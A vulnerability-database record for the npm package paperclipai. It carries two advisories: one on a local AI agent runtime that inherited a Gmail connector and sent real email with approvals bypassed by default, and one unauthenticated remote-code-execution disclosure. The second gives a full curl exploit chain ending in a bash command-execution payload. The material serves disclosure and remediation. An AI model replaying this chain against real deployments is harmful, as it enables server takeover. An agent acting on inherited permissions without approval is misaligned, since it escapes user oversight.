{"url":"http://public2.vulnerablecode.io/api/packages/1019348?format=json","purl":"pkg:npm/paperclipai@2026.326.0-canary.5","type":"npm","namespace":"","name":"paperclipai","version":"2026.326.0-canary.5","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89361?format=json","vulnerability_id":"VCID-a1ng-t65d-j3cb","summary":"Paperclip: codex_local inherited ChatGPT/OpenAI-connected Gmail and was able to send real email\n### Summary\n\nA Paperclip-managed `codex_local` runtime was able to access and use a Gmail connector that I had connected in the ChatGPT/OpenAI apps UI, even though I had not explicitly connected Gmail inside Paperclip or separately inside Codex.\n\nIn my environment this enabled mailbox access and a real outbound email to be sent from my Gmail account. After I manually intervened to stop the workflow, follow-up retraction messages were also sent, confirming repeated outward write/send capability.\n\nThis appears to be a trust-boundary failure between Paperclip-managed Codex execution and inherited OpenAI app connectors, amplified by dangerous-by-default runtime settings.\n\n### Details\n\nSuccessful runtime calls include:\n\n- `mcp__codex_apps__gmail_get_profile`\n- `mcp__codex_apps__gmail_search_emails`\n- `mcp__codex_apps__gmail_send_email`\n\nThe connected Gmail profile resolved to my personal account.\n\nInside the Paperclip-managed `codex-home`, I also found cached OpenAI curated connector state for Gmail under a path like:\n\n- `codex-home/plugins/cache/openai-curated/gmail/.../.app.json`\n\nThis strongly suggests that the runtime had access to an already connected OpenAI apps surface rather than a Paperclip-specific Gmail integration that I intentionally configured.\n\nSeparately, in the installed Paperclip code, `codex_local` defaults `dangerouslyBypassApprovalsAndSandbox` to `true`, and the server-side agent creation path applies that default when the flag is omitted. In practice, that makes this boundary failure much more dangerous because a newly created `codex_local` agent can operate with approvals and sandbox bypassed by default.\n\nThe key issue is this: I had connected Gmail only in the ChatGPT/OpenAI apps UI. I had not intentionally connected Gmail inside Paperclip or separately inside Codex. Despite that, the Paperclip-managed `codex_local` runtime was able to use Gmail read/write actions.\n\n### PoC\n\nEnvironment:\n\n- self-hosted Paperclip instance using `codex_local`\n- Gmail connected in the ChatGPT/OpenAI apps UI\n- no explicit Gmail connection configured inside Paperclip for this test\n- `codex_local` agent created and run with default behavior\n\nObserved reproduction path:\n\n1. Connect Gmail in the ChatGPT/OpenAI apps UI.\n2. Create or run a Paperclip `codex_local` agent.\n3. Execute a task that inspects mailbox state or performs outward communication.\n4. Observe successful Gmail connector calls such as:\n   - `mcp__codex_apps__gmail_get_profile`\n   - `mcp__codex_apps__gmail_search_emails`\n   - `mcp__codex_apps__gmail_send_email`\n5. Observe that the connected profile resolves to the ChatGPT/OpenAI-connected Gmail account and that mailbox reads and real sends are possible.\n\nPrivate evidence available on request:\n\n- successful `get_profile` / `search` / `send` logs\n- Paperclip-managed `codex-home` Gmail connector cache path(s)\n- screenshot showing Gmail write-capable actions such as `send_email`, `send_draft`, and `update_draft` exposed in the connected-app UI\n- incident timeline showing that a real outbound email was sent\n- recipient organizations, timestamps, message IDs, and sanitized evidence for both the original outbound email and the subsequent retraction messages\n\n### Impact\n\nThis was not only theoretical in my environment. It resulted in:\n\n- mailbox identity disclosure\n- mailbox search / thread access\n- a real outbound email being sent from a personal connected Gmail account to an external third party\n- follow-up retraction messages being sent after manual intervention, confirming repeated outward write/send capability\n\nFrom an operator/security perspective, connecting Gmail in the ChatGPT/OpenAI apps UI should not automatically make that connector available to a Paperclip-managed local agent runtime, especially not for write/send actions.\n\nOne or more of the following:\n\n- no inherited OpenAI app connectors by default in Paperclip-managed `codex_local` runs\n- send/write connectors blocked by default\n- explicit Paperclip-side opt-in before outward actions\n- auditable approval and provenance for connector-mediated actions\n- safer defaults, including `dangerouslyBypassApprovalsAndSandbox = false`","references":[{"reference_url":"https://github.com/paperclipai/paperclip","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/paperclipai/paperclip"},{"reference_url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-gqqj-85qm-8qhf","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-gqqj-85qm-8qhf"},{"reference_url":"https://github.com/advisories/GHSA-gqqj-85qm-8qhf","reference_id":"GHSA-gqqj-85qm-8qhf","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gqqj-85qm-8qhf"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1019399?format=json","purl":"pkg:npm/paperclipai@2026.404.0-canary.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-jexk-x13x-dqc3"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/paperclipai@2026.404.0-canary.0"}],"aliases":["GHSA-gqqj-85qm-8qhf"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-a1ng-t65d-j3cb"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89419?format=json","vulnerability_id":"VCID-jexk-x13x-dqc3","summary":"paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass\n## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}' \\\n  http://<target>:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn't documented in the deployment guide, so operators don't know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}' \\\n  http://<target>:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"test\"}' \\\n  http://<target>:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: <session-cookie>\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://<target>:3100\" \\\n  -d '{\"token\":\"<token-from-above>\"}' \\\n  http://<target>:3100/api/cli-auth/challenges/<id>/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId && !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) => {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://<target>:3100\" \\\n  -d '{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }' \\\n  http://<target>:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://<target>:3100\" \\\n  -d '{}' \\\n  http://<target>:3100/api/agents/<agent-id>/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id > /tmp/pwned.txt && ...\"` as the server's OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://<target>:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company's agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41679","reference_id":"","reference_type":"","scores":[{"value":"0.00774","scoring_system":"epss","scoring_elements":"0.73991","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00774","scoring_system":"epss","scoring_elements":"0.73964","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00774","scoring_system":"epss","scoring_elements":"0.73981","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00774","scoring_system":"epss","scoring_elements":"0.73995","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41679"},{"reference_url":"https://github.com/paperclipai/paperclip","reference_id":"","reference_type":"","scores":[{"value":"10.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/paperclipai/paperclip"},{"reference_url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7","reference_id":"","reference_type":"","scores":[{"value":"10","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"10.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:39:48Z/"}],"url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41679","reference_id":"","reference_type":"","scores":[{"value":"10.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41679"},{"reference_url":"https://github.com/advisories/GHSA-68qg-g8mg-6pr7","reference_id":"GHSA-68qg-g8mg-6pr7","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-68qg-g8mg-6pr7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/110585?format=json","purl":"pkg:npm/paperclipai@2026.410.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/paperclipai@2026.410.0"}],"aliases":["CVE-2026-41679","GHSA-68qg-g8mg-6pr7"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-jexk-x13x-dqc3"}],"fixing_vulnerabilities":[],"risk_score":"4.5","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/paperclipai@2026.326.0-canary.5"}